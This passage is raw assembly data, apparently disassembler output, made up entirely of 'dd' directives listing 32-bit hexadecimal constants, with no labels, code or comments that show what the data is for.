		dd 0A8E1BFA4h, 4E8C8D2Bh, 0C02288D8h, 706381BCh, 945A600h
		dd 7C120E4h, 0CD8612A1h, 0C890B0C0h, 0C9207098h, 0A27E09E9h
		dd 30F16E87h, 44F70054h, 0B2683E42h, 8F0F7A93h,	0BAD99D5h
		dd 80AC3D34h, 65772946h, 76128E1Ch, 3D13C57Eh, 0CE9AC02h
		dd 4AA8F283h, 0B21CA671h, 0F0815D37h, 7047184h,	0EC036C81h
		dd 80349E6Ah, 0D9A6841Dh, 889F1070h, 64B87D18h,	50D044BFh
		dd 30C8E6Eh, 90F65508h,	2CC951BFh, 44D6F459h, 6CB2847Ch
		dd 0E470679Fh, 1F4B602Eh, 84321FF3h, 0F150B08Dh, 9A1C7287h
		dd 0B9B05007h, 5A0047Fh, 0D9866031h, 0F5AF81BEh, 0C8163AEFh
		dd 86C47CB8h, 0C412AF03h, 0E659B080h, 94D9828Bh, 0D6692900h
		dd 9C8D15h, 0A3481854h,	5BBCE74Ah, 65D32D05h, 10BC36DAh
		dd 0C7825509h, 144F9422h, 27005C27h, 0A037C8h, 9750F695h
		dd 13E22287h, 388B8130h, 5BD8AF0Ah, 0C810CB6Eh,	0EEE0CF21h
		dd 56EDB02Dh, 2D86E839h, 0F8987911h, 3E8603FDh,	242C510Ch
		dd 38B7044Ch, 9D8C0729h, 1DF6EEC0h, 0D06A5CC7h,	21C4E880h
		dd 9B901BD5h, 22FB6000h, 0BCDDB3C3h, 261375D3h,	0E30B71Ch
		dd 5C05C867h, 27E4F465h, 0C5860704h, 8482162Ch,	100BD7B7h
		dd 24DCE8DCh, 3C68E62Eh, 8079A614h, 78B32446h, 7E0254A0h
		dd 475B7227h, 6004646Ch, 2451A103h, 31DC994h, 0D585A0A8h
		dd 1B84A590h, 79C2F0C9h, 0A4928260h, 0A068FB3Bh, 0A8B48974h
		dd 702CFB27h, 9E251718h, 8F48D17Dh, 7C988CDh, 592D54F0h
		dd 4F7C6811h, 70281EDh,	7C1AC9FDh, 53B052C0h, 0ED0E82A4h
		dd 42B2D701h, 5DD97C88h, 56980C00h, 1A4A259Eh, 3AE018B6h
		dd 47E3DCEBh, 4E1C498h,	58BEA893h, 1D8A4FCh, 469FAD00h
		dd 75891D69h, 0C1CA0192h, 459320D3h, 649B2F94h,	89731881h
		dd 86FCE3A0h, 0C6B5D0BDh, 840C29C0h, 727D00D4h,	0F4ABA85Dh
		dd 19EF10CCh, 82C40917h, 9B080CACh, 5C5B27F0h, 0FEAAA58h
		dd 2E8F3D1Dh, 11608A00h, 0E32FFB9Ch, 8E00592Bh,	51E323F2h
		dd 7AE0DAFAh, 2B731CFFh, 0A2974800h, 6C911F81h,	38EB60B3h
		dd 6943F9BCh, 63203413h, 0ADDE9805h, 9CF6A4C5h,	0AC9005E0h
		dd 6013D1EEh, 78003B13h, 9D4127Fh, 0DC92959Ah, 0F0BC54D8h
		dd 1D1C00D6h, 53166DE6h, 379D0B17h, 801E1100h, 0C1F6F53Bh
		dd 7AD10039h, 86A4702Bh, 219774A5h, 12DCBFECh, 0FC7B9907h
		dd 4D181F59h, 0C0900100h, 0D7C49149h, 5C200BC8h, 0AC59F675h
		dd 7C1FEA10h, 8E0A1284h, 0C025C838h, 2DB8053h, 0F0216102h
		dd 0F0CD4B2Fh, 66722510h, 18E46065h, 0E9376F60h, 0F52C5200h
		dd 0B766AA5Dh, 0A3364B70h, 33F1B2D8h, 0CD2B86E0h, 2A7B802h
		dd 0DEF89766h, 63A80694h, 6D5CD0E8h, 49EC104Ch,	0E7C83601h
		dd 50517C20h, 82D7FE9Ch, 0C1F9AA03h, 0F1912408h, 0A440FD2Bh
		dd 26311067h, 0A5B88BA4h, 102F04E9h, 9A19848Ah,	48E8B590h
		dd 9407CA5h, 180F4450h,	0F4B0B700h, 6F433C1Ch, 0CABB0949h
		dd 18D11EA8h, 66B1606h,	0C2820331h, 47A2F1B9h, 0CA068C2h
		dd 0ABE0DDCAh, 2892FB02h, 0E61CA743h, 0A9860024h, 0FA2D9C79h
		dd 82385456h, 5FDE0076h, 0CBFFD59h, 711C6088h, 56E2A67Dh
		dd 80A0675Bh, 0FC23B5F1h, 0C5F80599h, 0FC0084ACh, 7FE62F32h
		dd 47112D3h, 9F72E986h,	28FCE170h, 88BC93BCh, 81005794h
		dd 6B8C6D9Ah, 85FCC394h, 3C9D25h, 2446AC8h, 373A0499h
		dd 0BA050A01h, 28F8E412h, 0ADB33C80h, 7900F0DEh, 7BE09D08h
		dd 0FCC939DAh, 9C48B71Ah, 18800414h, 12F02787h,	0A5A28C21h
		dd 0A0202F52h, 620CF7Dh, 1848FA8Eh, 39043CBAh, 476AC80Dh
		dd 0A56442FAh, 0EC2022E8h, 97D39048h, 5BCF843h,	23BA87CBh
		dd 0F938EBB8h, 338C939Bh, 7D0858F8h, 0BF9F10A8h, 55C3FB80h
		dd 5F654BFAh, 1270A391h, 0D045F954h, 88BD8493h,	40E86A25h
		dd 7F12CD8Ch, 0ACBDF268h, 6102EABCh, 0CE02FBC0h, 80A4FC6Bh
		dd 44F2BF5Ah, 6702F1F7h, 63B5B11Dh, 40E4E2DDh, 80341058h
		dd 5F02C70Ah, 0F871747Dh, 0DE747417h, 0DBE9883Eh, 132D98FCh
		dd 38BBAC78h, 0E995E170h, 9D65CC60h, 0CC73C01h,	2A46680h
		dd 8411205Bh, 7F54C923h, 80C8DB3Fh, 96ACB5B6h, 0A142177h
		dd 0F7879F8Fh, 0E894900h, 3D05C06Fh, 3A93499Ah,	2858A245h
		dd 86959C2Ah, 0F8A1C28Ch, 48452D67h, 71E9ACD1h,	192F79B8h
		dd 720AADF4h, 5F995B3Ah, 0A7D809F0h, 6B1CD8DAh,	0D296A1B1h
		dd 8280D8E8h, 268AA58Eh, 18CD475Eh, 0E064E62Ah,	778F9CDAh
		dd 869E04CEh, 1205B495h, 0F4F7D4B2h, 0EAE3504h,	8C27E540h
		dd 0B2269414h, 771900DCh, 2F543901h, 89290693h,	8281AF7h
		dd 53198890h, 5F191BA7h, 0FEBCFC7Ch, 38040343h,	0BF90B606h
		dd 90821C17h, 0C039DD80h
		dd 0CD88102Bh, 0F008602Ch, 33F8BEEAh, 0D4FCB297h, 0CEF6DC30h
		dd 0A5566901h, 0DC1E3DE6h, 0A818812Eh, 0DD3A0210h, 247ED41Ah
		dd 0BB6F00DCh, 638B4EC8h, 1012F99Ah, 60A114BFh,	16D0CA2Bh
		dd 3CF9EA9Eh, 9801FBE8h, 7E757C2Fh, 5DCE5E72h, 0EA89B838h
		dd 40D0EF9Fh, 0DA475A60h, 485B2901h, 0F8F15EC2h, 0B6321B10h
		dd 539B6800h, 0AD8C8F52h, 4F7B015Bh, 6462B946h,	82D47D81h
		dd 1A9385h, 4289D88h, 0E5C7A8C1h, 0BFCFB7Fh, 2760B021h
		dd 2443B694h, 0ED321007h, 7C8B1769h, 87D18120h,	821314A5h
		dd 0A083C240h, 79CCD91Ch, 9D018FCh, 495C88BBh, 0CC394E2h
		dd 0BA83429Ch, 8850741Ah, 18280454h, 93DCC20h, 1AD09D86h
		dd 2176D47Ch, 83A803FCh, 0C185E62Ch, 0E1A7871Dh, 0C17A52E0h
		dd 6A254CF4h, 39D05427h, 207F18Eh, 0D535CC02h, 0E050794Fh
		dd 0DBA49209h, 713891FBh, 2346B3Eh, 478492DDh, 87D200FEh
		dd 305408ADh, 9F00EBB4h, 21AFA77Ch, 1CA3DC7h, 1E0B1C7Fh
		dd 0DEBAE67Ah, 66601CDEh, 0B5116C97h, 0F1919C9Dh, 0A059F482h
		dd 6D74027Dh, 0B89857D9h, 899DE2F1h, 73445B18h,	81DEFAF0h
		dd 98663D60h, 2D896392h, 9C9FA884h, 0C6802F11h,	0C25FE163h
		dd 91D8187Ah, 2573BAC0h, 707A890Eh, 11041D9Fh, 0E9798020h
		dd 93DFBE0h, 0FDEF9C91h, 3192DC5Eh, 0A6C834A1h,	91EF25Dh
		dd 189CB770h, 9885541Ch, 5080F1CFh, 5421C1E5h, 6225CD72h
		dd 77C786Bh, 59E67D01h,	2CD42072h, 0DD7E37CBh, 3F68B7B7h
		dd 0DE08A885h, 6F24F00Bh, 5AAD8888h, 0CFACC054h, 76000156h
		dd 9935D511h, 3E5281Bh,	8629D81Ch, 0BAA53CC5h, 0EF802070h
		dd 0AFCF1E7Ah, 5D49789h, 0E8946078h, 8CF1BC98h,	0C2836712h
		dd 88667029h, 0CF9D38B0h, 1FC2B50Bh, 190F1DEh, 4D8375E0h
		dd 0D458ED8Ah, 3C00D4BBh, 8CA4A29Ah, 0D56DE3h, 0B8B96378h
		dd 0C1C7567Dh, 468E595h, 0FFE4BF70h, 4CB88812h,	1F7D37A2h
		dd 872C1120h, 6B33922Eh, 80D100E2h, 0C6D5E5DFh,	9F19703Fh
		dd 2F781EA4h, 0AC58CE2Bh, 0CF395EAh, 39C9DE58h,	5102A61Dh
		dd 734E9990h, 0EA14ECE0h, 58D8D395h, 0E400DFFCh, 56323B2Dh
		dd 108B7D1Ch, 4AFB358Ch, 5F8890E2h, 0C0484DA5h,	94B6E816h
		dd 4B523D40h, 2F9CCADDh, 0D8C4DB45h, 0E102EFA9h, 71253238h
		dd 0E6F0E0A5h, 4D48217h, 2289804Fh, 1CBC99EAh, 0C54C69EEh
		dd 1DF15667h, 0E40D8058h, 0A2B0BF9Ch, 3DE91C00h, 13D7D39Bh
		dd 863A3FE7h, 0C6C50889h, 17BF7C51h, 9CBC1B84h,	79F06B1Bh
		dd 28439DF8h, 34933Dh, 0DE23F7BAh, 3A163973h, 0A4DC537Ah
		dd 73A7901h, 68E5777Ch,	197402CCh, 0D785D067h, 8F10D890h
		dd 7B317025h, 0B8CD80E0h, 0D3B7EF34h, 506A2E0Ah, 73808C13h
		dd 93D9DA1Ch, 7A04782Ch, 37B8002Dh, 0A388E04Fh,	490009DFh
		dd 60355E71h, 75D38AC2h, 6464B53Bh, 0E2BCCDB5h,	58603E20h
		dd 0CB412D0h, 7BF24676h, 0B1C6ED12h, 0ADD6BCBCh, 1FC5B8C4h
		dd 405E4B84h, 58B57CF0h, 57496C93h, 0D0D22670h,	24AE90B4h
		dd 0C06EEBC4h, 73203B03h, 81072AA8h, 711224A2h,	0CECF77F0h
		dd 98E900C2h, 16F31D17h, 0FD5B2269h, 0D1C6E48Dh, 0F6920004h
		dd 0B5543FCAh, 0F1A9F1EBh, 2B36C5DEh, 20CC0B0h,	80C60752h
		dd 0B7771CBDh, 0D7020064h, 70FBDCEAh, 94DED412h, 814F84F2h
		dd 2E180A28h, 789E2499h, 908FC903h, 0F0823078h,	0EDC707Eh
		dd 7C892A7Ah, 8845275Ch, 647C65A5h, 7ED76019h, 3E6DE073h
		dd 6718BB46h, 0B5882102h, 7369E0BCh, 0CAF770F4h, 68F11E2Fh
		dd 165F36Ch, 8AA94A44h,	1011797Ch, 712E9Eh, 4DD43F93h
		dd 9B97D46h, 0D245B60Bh, 0C0787699h, 7CED489Eh,	4309197h
		dd 0CB08282Fh, 2D85E388h, 0C401D895h, 38F48772h, 0AE200B28h
		dd 0DB58684Fh, 7E82005Ah, 0C27FE0A2h, 0EB008B52h, 6456B4CEh
		dd 9F4D337h, 0A6E3B762h, 90DF9092h, 6E6F218h, 4335CE2Ch
		dd 9706464Dh, 489B5FDEh, 32707868h, 9A78244Ch, 0BF7268A1h
		dd 0B857D264h, 2B96E8E8h, 2184C1Ch, 39D08F70h, 0BEBC5612h
		dd 0A8208712h, 0A0CA4A60h, 301F9771h, 55802F11h, 5A871C21h
		dd 30848B09h, 0A5A07314h, 5B51445Bh, 33FCF7EDh,	0A586086Dh
		dd 0CC2F2304h, 773C0560h, 0ECDE4B2Ah, 8CF3EC50h, 79C1C62Dh
		dd 4C4D4978h, 0F3D0EEC3h, 225EC8ABh, 8493174Dh,	0E5FCA09Bh
		dd 50E08503h, 9D078E66h, 5E9D960Bh, 0B55DC9A4h,	0B8A70094h
		dd 2CCE84B5h, 809D8C09h, 6268C70Dh, 881B0402h, 17735BCh
		dd 0D9F5687Dh, 6AA38492h, 56939880h, 8F29012Ah,	5B7267CDh
		dd 3C8206Fh, 6451842Fh,	548A3C90h, 1308E92Ah, 0AD09658Ch
		dd 19831638h, 48E820B9h, 13E19C00h, 24B1953h, 7610A050h
		dd 256F0EB4h, 5260997Dh, 985C7E10h, 3E1C37EAh, 958294B3h
		dd 74BF80ABh, 4467444h,	1EEFC70h, 600A8F43h, 30719525h
		dd 0B408DB8h, 0BDDFEC91h, 2000F4ABh, 745632F6h,	495A35EEh
		dd 404240E2h, 0C03FDE1h, 51B82453h, 6D680174h, 2534C73Ch
		dd 86E2B7Ch, 2081417h, 0D79C497Fh, 46F4A05Ch, 0BDC51F21h
		dd 6CE16004h, 527030AFh, 535A6688h, 9C8034DBh, 46A17C1Dh
		dd 0E4BAF700h, 2E9929C0h, 69401989h, 0D2D536F9h, 0F6193C40h
		dd 140E8626h, 0C0586DA5h, 0F1FC5751h, 0ED928200h, 913335DCh
		dd 737209Ch, 0B795E97Fh, 0FCB000BCh, 4835B144h,	0E65539h
		dd 0E84CF8A3h, 606AB7A7h, 5AFEB90Ch, 4A0327BCh,	0F598FBA0h
		dd 0E320EF08h, 599766A7h, 0F05B54D8h, 0B8376B50h, 41FC3815h
		dd 68640EFFh, 0A53D866Fh, 0A79B0FBh, 128E2EC4h,	0ADF0F56Ch
		dd 42770F9Ch, 6AEFE002h, 12DBE380h, 0E33B1F6Fh,	0C586097Ch
		dd 6050D00Ch, 0B754E877h, 660459D3h, 0A7DAF03Fh, 80BC9BABh
		dd 119AA073h, 3DB30227h, 8F4A4DEh, 54145709h, 4656049Eh
		dd 0BF510023h, 94E91CAFh, 0F2C34A6Dh, 1CE99250h, 16EA30A8h
		dd 5E13ABEEh, 0B500492Eh, 29481AB3h, 0D49D169Ah, 0BFD44220h
		dd 0E6552330h, 0B4CDBD4Ch, 0EBB9C043h, 8C2A866h, 0F859275Ch
		dd 0A774A872h, 64D4E79Dh, 5B616116h, 15B0D86Bh,	30FC8195h
		dd 699E115Ch, 0F46A12C8h, 5003ABA4h, 45DDFB91h,	8E46C07Ah
		dd 0CB1D5CD5h, 0A1527D05h, 0E874C188h, 89A3013Ch, 40785870h
		dd 0F6EADB1Bh, 7A9D8025h, 0F0942270h, 79958CF8h, 0BC659210h
		dd 84337C40h, 0F48619FDh, 7B84C8ABh, 72624E07h,	28A58543h
		dd 5E7E55C1h, 0F434E0EAh, 2E128109h, 69C5C04h, 0D0537200h
		dd 0D6B84C4h, 0E3EC49F9h, 9C8FCF4h, 12757C2Ah, 599720FAh
		dd 0D353E84h, 0D45CAE8Ch, 59F4AD09h, 2C782DFCh,	1FFE3F20h
		dd 1817AF38h, 0A8766110h, 0F0E27D4Fh, 59EA0F18h, 0D49AD18Ch
		dd 7A727E09h, 889571Fh,	17B89C60h, 23FCCE02h, 88489B20h
		dd 0C82DFF90h, 107E7A78h, 21A30BDh, 0CD85E465h,	0F684E880h
		dd 4A0A681h, 748AC806h,	25ECB931h, 65687E72h, 7394EC15h
		dd 0F761F260h, 1B92EEDh, 0D62FB6CFh, 6B6AE8E2h,	4073E0D8h
		dd 0DF125AF6h, 12BF8502h, 846EEBECh, 1DE5C700h,	0C947A762h
		dd 3CA23F26h, 0B8BAF90Dh, 54D2B2A7h, 94907095h,	1E467458h
		dd 9646DE00h, 29A007B6h, 8A6D7C02h, 5DF07758h, 0C3810410h
		dd 9B636A12h, 86EAEh, 6678E43Fh, 3673D0Fh, 7C315B44h, 0B802F597h
		dd 63E65A0Ch, 0D64CD4EAh, 0F772CA02h, 448FF6FBh, 0A20989Ch
		dd 817C8B40h, 27338994h, 377Fh,	0FE63DFC5h, 8B1C7E73h
		dd 79E7660Eh
		dd 39330CB8h, 4ED3D10h,	0ABB5FCA9h, 8908786Ah, 9480F8F1h
		dd 4F79063Bh, 0C3820EC8h, 5500BF0Dh, 2D93CD7Eh,	0EA0424h
		dd 0F34100DCh, 37BEE301h, 0C7027ECAh, 0E0C505CCh, 0C8E85533h
		dd 1A17D0A2h, 8E9870Fh,	0C828DA4Ah, 6128C716h, 2E4F0286h
		dd 0FA0ABC47h, 0F7016600h, 9CCC394Dh, 6D804A80h, 55682E58h
		dd 0FECA5005h, 35BA35DEh, 237C3A1Ch, 0ABA90014h, 0B7700C52h
		dd 0CC1F8026h, 0EB386525h, 7945704Dh, 1A5C08FEh, 2CBC9B12h
		dd 1FD7D3A2h, 401086Ch,	299F3860h, 5E501DDh, 844B2EB7h
		dd 58003ACBh, 8E2759D8h, 0BFFD267Eh, 188F6158h,	7B90A755h
		dd 88C07020h, 24FBD098h, 0A05F7C04h, 0F30004F2h, 23F953D8h
		dd 0D94AEA62h, 0B4E30F3h, 84F03B58h, 0E15C8812h, 9C718A0h
		dd 318A1CD4h, 4051485Eh, 520C3184h, 0F4CAABE0h,	0F74B763Ah
		dd 0A1B0A7B8h, 4B994231h, 0EACB25Dh, 20BA569Bh,	8D229E2Eh
		dd 34E90207h, 88C702E0h, 990EE879h, 272D425Ah, 0CC89D71Ah
		dd 1DDC9C7Ch, 9B83F595h, 0FBF1811Eh, 475CE42Ch,	1459E600h
		dd 0DF7ED8C1h, 0D4E0B57Ah, 0A825B8CDh, 0CB0CC8C7h, 14C69F02h
		dd 8558CC95h, 6018C48Ch, 4630E90h, 3588D4C1h, 74C480A0h
		dd 0EF0B3BF9h, 0A9F4C585h, 0A818599Ch, 0BF842DA4h, 6ED8A081h
		dd 0B7908968h, 0DC74F4A8h, 0B86DA02h, 82B76A15h, 0A1359BCh
		dd 34BF0EBCh, 5A34CDD6h, 0F63DC2D0h, 804488h, 0EC4FD77Fh
		dd 9A382B91h, 0F42890B5h, 63810093h, 367DFCE4h,	0A309D2F7h
		dd 5EA5AD84h, 73EF0754h, 0B777E94Ch, 62980020h,	0B0575659h
		dd 0F6F8A07Fh, 98D0895Bh, 2CBEB80h, 707D9671h, 8CFC6897h
		dd 0BACA584h, 904A312h,	0FC68C586h, 87700B58h, 0F3F984D9h
		dd 0A2D3518h, 816C7995h, 6B48B6C6h, 64846A73h, 0BBB83CA9h
		dd 127C7800h, 6728645Eh, 3CDD5C55h, 0F86C0974h,	0BC5A8772h
		dd 42992112h, 0E7DE5202h, 489FFF1Bh, 9C1911h, 0E23FB14Bh
		dd 0D1973E91h, 17B0AC68h, 0D14A03Dh, 0C294E695h, 954A5E80h
		dd 5F64BA57h, 98605CEDh, 5062C4A2h, 4484D445h, 68C20620h
		dd 4C809A52h, 2CC295E0h, 1B10747Eh, 258C7126h, 9D3E420h
		dd 341EF91h, 2EC21828h,	88E07D63h, 0EE951BC5h, 0AA820F0Ch
		dd 3A00290Ah, 93D41970h, 0BCCD0E00h, 8689BC0h, 759AF4E3h
		dd 0CC7E502Bh, 740B1780h, 0FC2CFC87h, 66008CF6h, 62862C5h
		dd 120C9ABAh, 0B1C95433h, 9C306F30h, 0F240EE0Fh, 467F0141h
		dd 0B60722B9h, 0E898C87Eh, 0C0E25C4Fh, 99BFE007h, 63A301C7h
		dd 0EC826BDDh, 0B4B555EAh, 0A2E5482h, 90E0449Bh, 0F1B85A60h
		dd 0EC10790Ch, 209305B9h, 0BC6FA491h, 9BC3AB4h,	71C62CF1h
		dd 2DA6609Ch, 0B252924h, 40A05E0Dh, 0D09F841Ah,	5E8040C9h
		dd 0A310E51Ch, 30F8E214h, 8E09C1CBh, 56DB1669h,	8EF40CCh
		dd 50B094E1h, 5E522E05h, 343B376Bh, 100FB23h, 72056E6h
		dd 4583128Eh, 2420BB77h, 9C9618h, 0F4B4F913h, 0E4DA6775h
		dd 33FAF161h, 15D4FB51h, 0AC7995A5h, 39C526D7h,	4FB0F04Eh
		dd 69CA1BFh, 0F730FACFh, 16251475h, 0DD8035h, 0F5540D66h
		dd 12002127h, 7CA06CB9h, 7D36D29Ah, 0B1950B6Ah,	4482639Ch
		dd 14D8E974h, 0A18C795Ch, 9C74026Ch, 855512E5h,	90182CEAh
		dd 3A1F1B40h, 740D2893h, 7F51F331h, 9EFA034h, 96570C14h
		dd 50539740h, 11C1550h,	3073FE37h, 2EA38491h, 5CDCACC2h
		dd 88B76B6Ch, 0A032B10Eh, 5E391EFDh, 349D3188h,	0C0062EB9h
		dd 37CE818h, 9C98C52Ch,	0D4F8B792h, 0AE82409Eh,	70761660h
		dd 91EA7728h, 68E6284Fh, 0AEF425E0h, 8B3C4E2Fh,	21687EFCh
		dd 32884FACh, 2C8C5A49h, 0C1B8940Ah, 2B87139Eh,	9B3ADC89h
		dd 301CCBE0h, 207C3078h, 9A95F009h, 0F46D777Ch,	55FA3FC0h
		dd 1DA0B14h, 54829352h,	9E22121Ch, 8677D2Bh, 6003C8CFh
		dd 2F2EBE72h, 0B4F66E09h, 0BE44CE97h, 161DD4CCh, 0CF422A7Bh
		dd 57625281h, 0A07C2C8Bh, 0FE1C00DCh, 3A2EDAFBh, 6D169D6Ch
		dd 50373F93h, 0FBB61C80h, 8A1F05C7h, 0A9382F8Bh, 4F01B814h
		dd 44E2C6h, 0F13C119Fh,	13B6993h, 6CD81A15h, 6F900A77h
		dd 95B520CCh, 33E664E4h, 574ABD6Bh, 0EA866685h,	9BEA1FD5h
		dd 8EB780B4h, 6AA5D8h, 0AAD96CBCh, 153DB501h, 0B5905D9Fh
		dd 0FF810F2Dh, 7EAA98F8h, 2FF57717h, 61543995h,	2C4200F6h
		dd 0A8F3E4BFh, 0F8648B96h, 0C9401044h, 0F9395BE0h, 9C71011Eh
		dd 8C7FF307h, 3E828E71h, 18DA27Eh, 88C57229h, 9F409AA5h
		dd 0F6771B95h, 5B5738B7h, 0FF965F93h, 0E10EA86Eh, 18C09874h
		dd 0B8E0F76h, 20EA1FD7h, 9B94861h, 9DEB8C15h, 6EAB9690h
		dd 78770E0Bh, 8B1D00A1h, 0A80AEDBDh, 57F595BCh,	0B0B0B520h
		dd 8C01565Dh, 9D2BFFCEh, 4E860C45h, 0D21BD83h, 44A7D89Fh
		dd 0F9FB8915h, 0BB96002Bh, 393303F1h, 0FB8B5021h, 0E38166C8h
		dd 7B7B4C29h, 0AD9D0B02h, 0B15B8210h, 31DB5502h, 76A778h
		dd 2AA04AA2h, 6658EFB2h, 0B4D98B29h, 0B9B55D4Bh, 0A7726300h
		dd 71BF17C4h, 261427A4h, 0B593E477h, 64008279h,	2482AC96h
		dd 0FF850042h, 80D8033Fh, 0FB05393Dh, 0B3C05DA2h, 21B1AA04h
		dd 8AB5B0Ah, 21009F5h, 0FC060B22h, 2D01858Bh, 0C6F5331Ch
		dd 4DD1C716h, 29D6EB24h, 18A9BCA8h, 383AE980h, 0F9DAFFF3h
		dd 60F0B9AFh, 0CF59053Dh, 0C68589B5h, 8B24585Ch, 0B91C34C1h
		dd 0D2335725h, 1FC91810h, 4D073851h, 9A11AA60h,	0C7B0505Eh
		dd 677AB7DAh, 90F9B5h, 58D2B144h, 97174C26h, 6FFF6AD4h
		dd 0D4A9007Bh, 45D30AEFh, 0B799185Dh, 9D8B4A7Fh, 395BC8D0h
		dd 918BBC5h, 7C022BBh, 54683ECh, 29F560C6h, 0BA666090h
		dd 5769BB17h, 5BB730BAh, 904C5061h, 109110AEh, 95296661h
		dd 40BC230Dh, 2248819Eh, 1A71856Fh, 0FFDA9627h,	0FC458D9Ch
		dd 9BAE17A8h, 69BC7CFh,	316192D0h, 0A5DC0A94h, 67AFD1FFh
		dd 4ECAE060h, 812752DEh, 0AC4E7D26h, 572B7E69h,	0F660A56Dh
		dd 617B6Ch, 6AD7F380h, 0BF0F5002h, 905BFB04h, 0DA4013E9h
		dd 6B20F3DCh, 91706EF2h, 0B745AD00h, 0F7B0370Bh, 0F4CD16F5h
		dd 6F20BA50h, 75E63Ch, 0E51BF325h, 904B2013h, 70D4FBB7h
		dd 0BF388C93h, 27AA96FDh, 0E3804660h, 69E912D4h, 58AAB0Dh
		dd 0A316CF24h, 2B2E788Fh, 66880802h, 558D43BFh,	4358A4F3h
		dd 630B2C73h, 8D496024h, 0F8244167h, 230769ADh,	77FB1796h
		dd 0F9092537h, 219202ABh, 0EB90051Ah, 35D8A689h, 29413DC6h
		dd 1E310B00h, 0AE9AC166h, 50C09112h, 90FAEB04h,	0AC95E9FAh
		dd 88FB48BBh, 0FB0C4E76h, 0B67A1C9Dh, 0A03FE32Ch, 0B5C67673h
		dd 80009373h, 0B57EAEBh, 239526BDh, 1057A5BFh, 249D3319h
		dd 0BEE10349h, 0B828ADDBh, 0C0200262h, 5CD8DF1Ch, 861AC82h
		dd 0E15989E4h, 9FFD5A72h, 5E01B4B8h, 0BB66E02Ah, 6520EA84h
		dd 0E92B4019h, 0B02DDF64h, 0CD9D47C0h, 70E68018h, 0F9B70F05h
		dd 0C8AF71E4h, 6400DB21h, 0BA06E25Dh, 0CD0E30h,	0C381B7FFh
		dd 6BC942EAh, 0F4FD5F5Fh, 7A35B136h, 17541858h,	24FFC8B6h
		dd 800FC0D5h, 0F8BF68C3h, 8C0F188Fh, 28BF1D05h,	23B8BE17h
		dd 0BD7942FFh, 0C8202041h, 0B2E58D31h, 92D1FC69h, 8E59B52Ah
		dd 29BD3106h, 0D050B721h, 0CB109D20h, 8757C32Ah, 0AFAC1BAh
		dd 0E90DDF13h, 0C5200607h, 80B57095h, 0D0DFD03Bh, 0FD8A0AA2h
		dd 2F6342E9h, 814055D6h, 211BBACBh, 841F6113h, 0B48964E2h
		dd 0C5BD4523h, 0A583F245h
		dd 66FE2106h, 32F43446h, 0F510284h, 0A8980486h,	0E96E6EB4h
		dd 0B58D0011h, 0CE17F9FFh, 0BA76BFCCh, 0D742A21Dh, 0FF09E893h
		dd 8A1CDC66h, 8D7B9FEh,	24C57ABFh, 0B3B1ADEh, 1841AB27h
		dd 23EED1Eh, 4BD80435h,	22430DBFh, 0FC860BB5h, 34EDF982h
		dd 6EFFF60Eh, 3C870329h, 0B9B9AF28h, 0C430CB80h, 0CA23CE0Bh
		dd 0B8FA9620h, 0D3045825h, 2BC14493h, 0B87FB9FAh, 49750AB2h
		dd 11FFFC09h, 865313h, 0ACBC2AA2h, 3A436640h, 6E00B54Eh
		dd 2B5F5B52h, 3318ADD2h, 0D078D1C2h, 4E90B83h, 377DF475h
		dd 0A7C400B0h, 6440BA36h, 65D6001h, 880DF963h, 1B60FA3Bh
		dd 0B7CB11h, 160879C1h,	90CAF4DAh, 7804D500h, 76E8F3A4h
		dd 0E349051h, 5F34D2D7h, 29910532h, 6FCE1232h, 21A403A2h
		dd 92088AAh, 9FE4EF5Ah,	64D8E02h, 0B1109809h, 68110E88h
		dd 809FBC05h, 3EB3E122h, 80398BA3h, 8DC2BA50h, 8C10318h
		dd 0A359A5EFh, 2B205819h, 0BD1AB8FFh, 0AD270CD8h, 0E2EE7729h
		dd 70A4F3B7h, 0E705DA3Bh, 0CA438285h, 4439D0C7h, 22DE00D7h
		dd 329A3DD3h, 4800F0B1h, 135AAC4Eh, 7796CD2Fh, 5F11279Bh
		dd 0BB0F9B2Eh, 334D4B82h, 0D679DDE1h, 3E85E849h, 838B70ABh
		dd 6000347Ah, 6458804Dh, 22D76F8h, 740744B9h, 0CDD7E1FFh
		dd 0C162C08Dh, 273C6FFEh, 0ACC5B8CAh, 7D093301h, 71D36820h
		dd 3F2F8626h, 0F4E5F404h, 70760514h, 1001882Bh,	8FAED22Fh
		dd 0DD07C78Ch, 71C157F4h, 3048816Fh, 6B919803h,	375F53C9h
		dd 9C860049h, 0E4CAB0D4h, 0A4AB5C0Bh, 2E117560h, 6CF4ECE2h
		dd 0B9017102h, 80536BE0h, 665C3749h, 0ECD94C8Ch, 0B0BD110h
		dd 7504E180h, 0CA017CB7h, 0C90AE3AAh, 1989C41h,	0A065B77Ah
		dd 168F8623h, 1F57D983h, 4C0DD0F2h, 0F6693B81h,	63F67EEDh
		dd 0D370CDE2h, 336EAF0Eh, 0DF1BCB85h, 4C0033BDh, 0E834E29h
		dd 50A5281Eh, 0F50F2FF4h, 0F6665Ch, 0AE33FF69h,	8590B0BFh
		dd 82487969h, 0F7198DADh, 0FF1CAF4Ch, 60121F03h, 78299B88h
		dd 2D181679h, 980888DBh, 7F480700h, 1451B5CBh, 83D70BE2h
		dd 0F194F21h, 6EBFECh, 0AF25198Ah, 4EC2B03Ch, 0AF06125Bh
		dd 0B056ACC8h, 2D0B3FE9h, 8CC78BB5h, 1300AE65h,	1E889823h
		dd 1066BFh, 150BED0Eh, 4B8F5ED3h, 2E318B48h, 0A80B0B52h
		dd 31BB07FFh, 31138825h, 24ACA2BBh, 6F6A3E5Ah, 8C4EE860h
		dd 0CC880026h, 0C89E1DC3h, 7605AACFh, 58F6DCEFh, 8966DBBFh
		dd 2A00E129h, 0AD10D93Dh, 0A5C24009h, 850D3164h, 0E67FB8F1h
		dd 0E91CF043h, 0B7939229h, 0DA48135Ah, 59903671h, 26612070h
		dd 0C4AEC74Fh, 0CCB6AE57h, 8B54F6E0h, 3D94B52Dh, 3F138113h
		dd 70E5EAF7h, 2041D98Eh, 4B29B693h, 4F56022h, 1020EB7h
		dd 758DD8Dh, 0B3F2617Dh, 93E4BB49h, 72888D56h, 3A7FC3Ah
		dd 6D9920D1h, 86EBAE6Bh, 38FCC598h, 0F98B1517h,	4463D03h
		dd 856A6901h, 0EEF5D343h, 28402F84h, 1D2D126Ah,	26DB0058h
		dd 225E3C5Dh, 0C67E6C53h, 0FDF7DF51h, 0E05F0208h, 52FF01D1h
		dd 0BF3AC3B5h, 2051A12h, 23159D0Ch, 0A84E6800h,	640C483Fh
		dd 4829FC50h, 0B31763DBh, 0C720BF9Ch, 7C20ABB1h, 0D18D270Ch
